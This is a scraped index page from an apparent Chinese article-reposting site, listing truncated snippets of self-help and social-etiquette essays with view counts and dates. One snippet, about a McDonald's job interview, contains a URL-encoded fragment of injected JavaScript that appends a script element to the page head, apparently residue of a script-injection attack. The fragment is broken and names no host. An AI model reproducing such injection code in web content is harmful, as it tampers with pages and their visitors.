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100套全网最受欢迎的简历模板。 阅5 转自***壁虎漫... 公众公开 12-05-12 08:20 |
因此当你赞美别人时，要注意赞美的频率，要慎重地给予赞美。间接赞美就是当事人不在场时当着第三者的面赞美当事人，这种背后的赞美若被第三者传给当事人，除了能起到赞美的激励作用之外，更能让当事人感到你对他的赞美是诚挚的，这就更增强了赞美的效果。在社会交往中，懂得适时地赞美别人，并且运用恰当的策略增强赞美效果，能够有效地维护对... 阅4 转自oydx2001 公众公开 11-11-04 11:03 |
43、如果老是去琢磨哪些人你讨厌，哪些人与你志趣相投，那么你就大错了，要想着如何让别人接纳你，而不是你能接受什么样的人。49、不要把过去的事全让人知道，尊敬不喜欢你的人。54、乐观的人看见问题后面的机会，悲观的人只看见机会后面的问题，机会是从来不会主动敲响你的门，无论你等待多少年。61、一个会讲话的人，不是记得别人说过话的人... 阅25 转3 评0 公众公开 11-10-01 10:14 |
03．钱追人，人追健康——有了健康，还怕挣不到钱么？13．不要当众和主管吵架——那会让你无路可走，只有走人。21．建立一个朋友档案——以免人到用时方恨少。24．要交喜欢"修理"你的朋友——这种朋友是你的人生导师。35．偷偷地把自己当成老板或主管——逐渐培养自己当老板或主管的能力。56．永远跑在下属的前面——权力领导、情义... 阅17 转0 评0 公众公开 11-10-01 09:55 |
19、聪明的人看得懂，精明的人看得准，高明的人看得远。25、失去金钱的人损失甚少，失去健康的人损失极多，失去勇气的人损失一切。74、聪明的人经营健康，明白的人储存健康，普通的人不懂健康，糊涂的人忽视健康。193、特别警惕三种人:一,官不大,特能办事的人;二,挣钱不多,特能花钱的人;三,不太熟,特能套瓷的人。270、错误延续的原因:一是把错... 阅30 转1 评0 公众公开 11-09-18 22:55 |
" 大道理：环境可以改变一个人的思想。"cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"> 总裁十分高兴，免去了最后的面试，当场决定录用韩定国。 后来韩定国才知道，麦当劳训练员工的第一堂课就是从洗厕所开始的，因为服务业的基本理论是"非以役人，乃役于人... 阅52 转0 评0 公众公开 11-09-18 22:34 |
106个技巧 打造交际大师106个技巧 打造交际大师。共享出你的知识与资源、时间与精力、朋友与关系、同情与关爱，从而持续的为他人提供价值，同时提高自己的价值。你清单的分类中可以包括"渴望认识的人"，他们是一些高水平的人，你希望在未来可能 认识他们。我们不仅认识数以千记的人，而且认识数以千计分布在不同领域的人。其实你见到... 阅4 转1 评0 公众公开 11-09-18 10:43 |
6、虽然你讨厌一个人，但却又能发觉他的优点好处，像这样子有修养的人，天下真是太少了。42、每一个人都拥有生命，但并非每个人都懂得生命，乃至于珍惜生命。各人吃饭是各人饱，各人生死是个人事。多少人在今天已经见不到明天的太阳，多少人在今天已经成了残废，多少人在今天已经失去了自由，多少人在今天已经家破人亡。再就智慧愚笨来说，人人... 阅20 转3 评0 公众公开 11-09-18 10:22 |
12个做人处事的硬道理。成功必看！12个做人处事的硬道理成功必看！12个做人处事的硬道理 人的一生其实就做两件事。一是做人。二是做事。做人与做事又是密不可分的。做好了人才能做好事情。做好了事情就更好做人了。有人认为只要自己的技能过人，肯定能做好事情。每个人都不可能是全能的。要想把事业做大不会配合别人的人是做不了大事... 阅11 转0 评0 公众公开 11-09-18 09:56 |
